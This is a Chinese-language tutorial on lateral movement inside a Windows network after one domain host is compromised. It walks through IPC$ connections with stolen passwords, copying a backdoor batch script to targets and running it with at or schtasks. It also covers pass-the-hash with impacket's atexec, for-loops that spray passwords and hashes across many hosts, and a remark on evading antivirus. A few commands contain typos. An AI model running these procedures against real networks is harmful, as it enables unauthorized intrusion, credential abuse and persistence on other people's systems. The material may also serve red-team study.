内网渗透-横向移动

#建立ipc连接并将后门添加至计划任务

前置条件:获取到某域主机权限->得到明文或者hash,通过信息收集到的用户列表当做用户名字典->用得到的密码明文当做密码字典

本次移动流程:尝试建立连接(ipc)->创建计划任务(at|schtasks)->执行命令,上传后门

什么是IPC?

IPC(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

#建立ipc常见错误代码

5:拒绝访问,可能需要提权

52:网络问题

53:端口未开放,未开机,防火墙拦截

67:本地lanmanworkstation服务未启动,目标删除了ipc$

1219:提供的凭据和已存在的凭据集冲突,说明已经建立ipc$,需要先删除

1326:账号密码错误

1792:目标NetLogon服务未启动

2242:用户密码过期,目标有账号策略,强制定期更改密码

#失败的原因

目标系统不是NT或者以上的操作系统

对方没有打开ipc$

139 445端口未开启或被拦截

输出命令,账号密码错误

建立ipc连接利用流程
1.建立ipc链接到目标主机(前提主机开放135 445端口)

工作组环境:

net use \\192.168.xx.xx\ipc$ "password" /user:"administrator"

域内环境:

net use \\192.168.xx.xx\ipc$ "password" /user:xxx.com\"administrator"
2.拷贝要执行的命令脚本到目标主机
copy \\192.168.xx.xx\c$\1.bat 1.bat
​
copy 1.bat \\192.168.xx.xx\c$

dir \\192.168.x.xx\c$\ #查看目标主机文件
3.查看目标时间,创建计划任务(at,schtasks)定时执行拷贝到的脚本
net time \\192.168.xx.xx #查看时间

at在windows版本小于2012下使用

at \\192.168.xx.xx 15:32 c:\1.bat   #在15:32执行c盘下的1.bat

schtasks 在windows版本大于等于windows2012下使用

shctasks /create /s 192.168.xx.xx /run "system" /tn adduser /scDAILY /tr c:\1.bat /F #创建adduser任务对应批处理脚本

schtasks  /run /s 192.168.xx.xx /tn adduser /i #运行adduser任务

schtasks /delete /s 192.168.xx.xx /tn adduser /f #删除adduser任务
4.删除ipc连接
net use \\192.168.xx.xx\ipc$ /delete

net view xx.xx.xx.xx #查看对方共享

#利用atexec-impacket进行明文或hash传递

atexec.exe ./administrator:Admin12345@192.168.xx.xx "whoami" #连接本地用户administrator
​
atexec.exe xxx.com/administrator:Admin12345@192.168.xx.xx "whoami" #连接域用户administrator
​
atexec.exe -hashes:xxx ./administrator@192.168.xx.xx "whoami" #连接本地用户administrator并进行hash传递执行whoami命令
 

缺点:由于是第三方工具容易被拦截,需要做免杀处理

#批量利用

#bat批处理命令
For /F %%i in (ips.txt) do net use \\%%i\ipc$ "password" /user:administrator
#单个密码尝试连接多个主机
​
For /F %%i in(ips.txt) do atexec.exe xxx.com/administrator:password@%%i whoami
#调用atexec.exe用单个密码尝试连接多个主机
​
For /F %%i in (pass.txt) do atexec.exe xxx.com/administrator:%%i@192.168.xx.xx whoami
##调用atexec.exe用多个密码尝试连接单个主机
​
For /F %%i in (hash.txt) do atexec.exe -hashes:%%i  xxx.com/administrator@192.168.xx.xx whoami
##调用atexec.exe用多个HASH尝试连接单个主机
 



05-15 16:27